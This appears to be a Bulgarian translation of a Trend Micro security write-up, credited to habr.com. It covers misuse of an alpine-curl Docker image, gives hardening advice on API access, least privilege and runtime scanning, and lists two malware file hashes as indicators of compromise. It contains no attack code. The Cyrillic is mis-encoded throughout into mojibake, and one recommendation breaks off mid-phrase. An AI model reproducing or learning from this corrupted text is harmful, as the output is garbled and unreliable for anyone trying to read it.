Π Π³ΠΎΡΠ½Π°ΡΠ° ΡΠ°ΡΡ ΡΠ° ΠΏΡΠ΅Π΄Π²Π°ΡΠΈΡΠ΅Π»Π½ΠΎ Π·Π°Π΄Π°Π΄Π΅Π½ΠΈ ΠΌΡΠ΅ΠΆΠΎΠ²ΠΈ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ΠΈ, Π² Π΄ΠΎΠ»Π½Π°ΡΠ° ΡΠ°ΡΡ ΡΠ° ΡΠΏΠ΅ΡΠΈΡΠΈΡΠ½ΠΈ ΠΏΠΎΡΡΠΎΠ²Π΅ Π·Π° ΡΡΡΡΠ΅Π½Π΅ Π½Π° ΡΡΠ»ΡΠ³ΠΈ, Π²ΠΊΠ»ΡΡΠΈΡΠ΅Π»Π½ΠΎ Docker
ΠΠΊΡΠ°Π½Π½Π°ΡΠ° ΡΠ½ΠΈΠΌΠΊΠ° ΠΏΠΎΠΊΠ°Π·Π²Π°, ΡΠ΅ ΠΈΠ·ΠΎΠ±ΡΠ°ΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ Ρ Π°Π»ΠΏΠΈΠΉΡΠΊΠΈ ΠΊΡΠ΄ΡΠΈΡΠΈ Π΅ ΠΈΠ·ΡΠ΅Π³Π»Π΅Π½ΠΎ ΠΏΠΎΠ²Π΅ΡΠ΅ ΠΎΡ 10 ΠΌΠΈΠ»ΠΈΠΎΠ½Π° ΠΏΡΡΠΈ
ΠΠ°Π·ΠΈΡΠ°Π½ Π½Π° Alpine Linux ΠΈ curl, ΡΠ΅ΡΡΡΡΠ½ΠΎ Π΅ΡΠ΅ΠΊΡΠΈΠ²Π΅Π½ CLI ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½Ρ Π·Π° ΠΏΡΠ΅Ρ
Π²ΡΡΠ»ΡΠ½Π΅ Π½Π° ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ ΠΏΡΠ΅Π· ΡΠ°Π·Π»ΠΈΡΠ½ΠΈ ΠΏΡΠΎΡΠΎΠΊΠΎΠ»ΠΈ, ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° ΠΈΠ·Π³ΡΠ°Π΄ΠΈΡΠ΅
ΠΠ°ΠΆΠ½ΠΎ Π΅ Π΄Π° ΡΠ΅ ΠΎΡΠ±Π΅Π»Π΅ΠΆΠΈ, ΡΠ΅ ΡΠΎΠ²Π° ΠΈΠ·ΠΎΠ±ΡΠ°ΠΆΠ΅Π½ΠΈΠ΅ (alpine-curl) ΡΠ°ΠΌΠΎ ΠΏΠΎ ΡΠ΅Π±Π΅ ΡΠΈ Π½Π΅ Π΅ Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ΠΎ, Π½ΠΎ ΠΊΠ°ΠΊΡΠΎ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° Π²ΠΈΠ΄ΠΈΡΠ΅ ΠΏΠΎ-Π³ΠΎΡΠ΅, ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π·Π° ΠΈΠ·Π²ΡΡΡΠ²Π°Π½Π΅ Π½Π° Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈ ΡΡΠ½ΠΊΡΠΈΠΈ. ΠΠΎΠ΄ΠΎΠ±Π½ΠΈ ΠΈΠ·ΠΎΠ±ΡΠ°ΠΆΠ΅Π½ΠΈΡ Π½Π° Docker ΠΌΠΎΠ³Π°Ρ ΡΡΡΠΎ Π΄Π° ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ Π·Π° ΠΈΠ·Π²ΡΡΡΠ²Π°Π½Π΅ Π½Π° Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈ Π΄Π΅ΠΉΠ½ΠΎΡΡΠΈ. Π‘Π²ΡΡΠ·Π°Ρ ΠΌΠ΅ ΡΠ΅ Ρ Docker ΠΈ ΡΠ°Π±ΠΎΡΠΈΡ ΠΌΠ΅ Ρ ΡΡΡ ΠΏΠΎ ΡΠΎΠ·ΠΈ ΠΏΡΠΎΠ±Π»Π΅ΠΌ.
ΠΏΡΠ΅ΠΏΠΎΡΡΠΊΠΈ
ΠΠ½ΡΠΈΠ΄Π΅Π½ΡΡΡ, ΠΎΠ±ΡΡΠ΄Π΅Π½ Π² ΡΠ°Π·ΠΈ ΡΡΠ°ΡΠΈΡ, ΠΏΠΎΠ΄ΡΠ΅ΡΡΠ°Π²Π° Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎΡΡΡΠ° Π΄Π° ΡΠ΅ Π²Π·Π΅ΠΌΠ΅ ΠΏΡΠ΅Π΄Π²ΠΈΠ΄ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΡΠ° ΠΎΡ ΡΠ°ΠΌΠΎΡΠΎ Π½Π°ΡΠ°Π»ΠΎ, Π²ΠΊΠ»ΡΡΠΈΡΠ΅Π»Π½ΠΎ ΡΠ»Π΅Π΄Π½ΠΈΡΠ΅ ΠΏΡΠ΅ΠΏΠΎΡΡΠΊΠΈ:
- ΠΠ° ΡΠΈΡΡΠ΅ΠΌΠ½ΠΈ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠΈ ΠΈ ΡΠ°Π·ΡΠ°Π±ΠΎΡΡΠΈΡΠΈ: ΠΠΈΠ½Π°Π³ΠΈ ΠΏΡΠΎΠ²Π΅ΡΡΠ²Π°ΠΉΡΠ΅ Π½Π°ΡΡΡΠΎΠΉΠΊΠΈΡΠ΅ Π½Π° API, Π·Π° Π΄Π° ΡΠ΅ ΡΠ²Π΅ΡΠΈΡΠ΅, ΡΠ΅ Π²ΡΠΈΡΠΊΠΎ Π΅ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠΈΡΠ°Π½ΠΎ Π΄Π° ΠΏΡΠΈΠ΅ΠΌΠ° ΡΠ°ΠΌΠΎ Π·Π°ΡΠ²ΠΊΠΈ ΠΎΡ ΠΊΠΎΠ½ΠΊΡΠ΅ΡΠ΅Π½ ΡΡΡΠ²ΡΡ ΠΈΠ»ΠΈ Π²ΡΡΡΠ΅ΡΠ½Π° ΠΌΡΠ΅ΠΆΠ°.
- Π‘Π»Π΅Π΄Π²Π°ΠΉΡΠ΅ ΠΏΡΠΈΠ½ΡΠΈΠΏΠ° Π½Π° Π½Π°ΠΉ-ΠΌΠ°Π»ΠΊΠΎ ΠΏΡΠ°Π²Π°: ΡΠ²Π΅ΡΠ΅ΡΠ΅ ΡΠ΅, ΡΠ΅ ΠΈΠ·ΠΎΠ±ΡΠ°ΠΆΠ΅Π½ΠΈΡΡΠ° Π½Π° ΠΊΠΎΠ½ΡΠ΅ΠΉΠ½Π΅ΡΠΈ ΡΠ° ΠΏΠΎΠ΄ΠΏΠΈΡΠ°Π½ΠΈ ΠΈ ΠΏΡΠΎΠ²Π΅ΡΠ΅Π½ΠΈ, ΠΎΠ³ΡΠ°Π½ΠΈΡΠ΅ΡΠ΅ Π΄ΠΎΡΡΡΠΏΠ° Π΄ΠΎ ΠΊΡΠΈΡΠΈΡΠ½ΠΈ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠΈ (ΡΡΠ»ΡΠ³Π° Π·Π° ΡΡΠ°ΡΡΠΈΡΠ°Π½Π΅ Π½Π° ΠΊΠΎΠ½ΡΠ΅ΠΉΠ½Π΅ΡΠΈ) ΠΈ Π΄ΠΎΠ±Π°Π²Π΅ΡΠ΅ ΠΊΡΠΈΠΏΡΠΈΡΠ°Π½Π΅ ΠΊΡΠΌ ΠΌΡΠ΅ΠΆΠΎΠ²ΠΈΡΠ΅ Π²ΡΡΠ·ΠΊΠΈ.
- ΠΏΠΎΡΠ»Π΅Π΄Π²Π°ΠΌ
ΠΏΡΠ΅ΠΏΠΎΡΡΠΊΠΈ ΠΈ Π°ΠΊΡΠΈΠ²ΠΈΡΠ°Π½Π΅ Π½Π° ΠΌΠ΅Ρ Π°Π½ΠΈΠ·ΠΌΠΈ Π·Π° ΡΠΈΠ³ΡΡΠ½ΠΎΡΡ, Π½Π°ΠΏΡ.ΠΎΡ Docker ΠΈ Π²Π³ΡΠ°Π΄Π΅Π½ΡΡΠ½ΠΊΡΠΈΠΈ Π·Π° Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ . - ΠΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΉΡΠ΅ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΠ·ΠΈΡΠ°Π½ΠΎ ΡΠΊΠ°Π½ΠΈΡΠ°Π½Π΅ Π½Π° ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΡ ΠΈ ΠΈΠ·ΠΎΠ±ΡΠ°ΠΆΠ΅Π½ΠΈΡ, Π·Π° Π΄Π° ΠΏΠΎΠ»ΡΡΠΈΡΠ΅ Π΄ΠΎΠΏΡΠ»Π½ΠΈΡΠ΅Π»Π½Π° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ Π·Π° ΠΏΡΠΎΡΠ΅ΡΠΈΡΠ΅, ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π°Π½ΠΈ Π² ΠΊΠΎΠ½ΡΠ΅ΠΉΠ½Π΅ΡΠ° (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ Π·Π° ΠΎΡΠΊΡΠΈΠ²Π°Π½Π΅ Π½Π° ΠΏΠΎΠ΄ΠΏΡΠ°Π²ΡΠ½Π΅ ΠΈΠ»ΠΈ ΡΡΡΡΠ΅Π½Π΅ Π½Π° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΠΈ). ΠΠΎΠ½ΡΡΠΎΠ»ΡΡ Π½Π° ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡΡΠ° ΠΈ ΠΌΠΎΠ½ΠΈΡΠΎΡΠΈΠ½Π³ΡΡ Π½Π° ΡΠ΅Π»ΠΎΡΡΡΠ° ΠΏΠΎΠΌΠ°Π³Π°Ρ Π΄Π° ΡΠ΅ ΠΏΡΠΎΡΠ»Π΅Π΄ΡΡ Π½Π΅ΠΎΠ±ΠΈΡΠ°ΠΉΠ½ΠΈ ΠΏΡΠΎΠΌΠ΅Π½ΠΈ Π² ΡΡΡΠ²ΡΡΠΈ, ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ ΠΈ ΡΠΈΡΡΠ΅ΠΌΠ½ΠΈ ΠΎΠ±Π»Π°ΡΡΠΈ.
Trendmicro ΠΏΠΎΠΌΠ°Π³Π° Π½Π° Π΅ΠΊΠΈΠΏΠΈΡΠ΅ Π½Π° DevOps Π΄Π° ΠΈΠ·Π³ΡΠ°ΠΆΠ΄Π°Ρ ΡΠΈΠ³ΡΡΠ½ΠΎ, Π΄Π° Π²Π½Π΅Π΄ΡΡΠ²Π°Ρ Π±ΡΡΠ·ΠΎ ΠΈ Π΄Π° ΡΡΠ°ΡΡΠΈΡΠ°Ρ Π½Π°Π²ΡΡΠΊΡΠ΄Π΅. Trend Micro
ΠΡΠΈΠ·Π½Π°ΡΠΈ Π½Π° ΠΊΠΎΠΌΠΏΡΠΎΠΌΠΈΡ
Π‘Π²ΡΡΠ·Π°Π½ΠΈ Ρ Π΅ΡΠΎΠ²Π΅:
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
ΠΠ°
ΠΠ·ΡΠΎΡΠ½ΠΈΠΊ: www.habr.com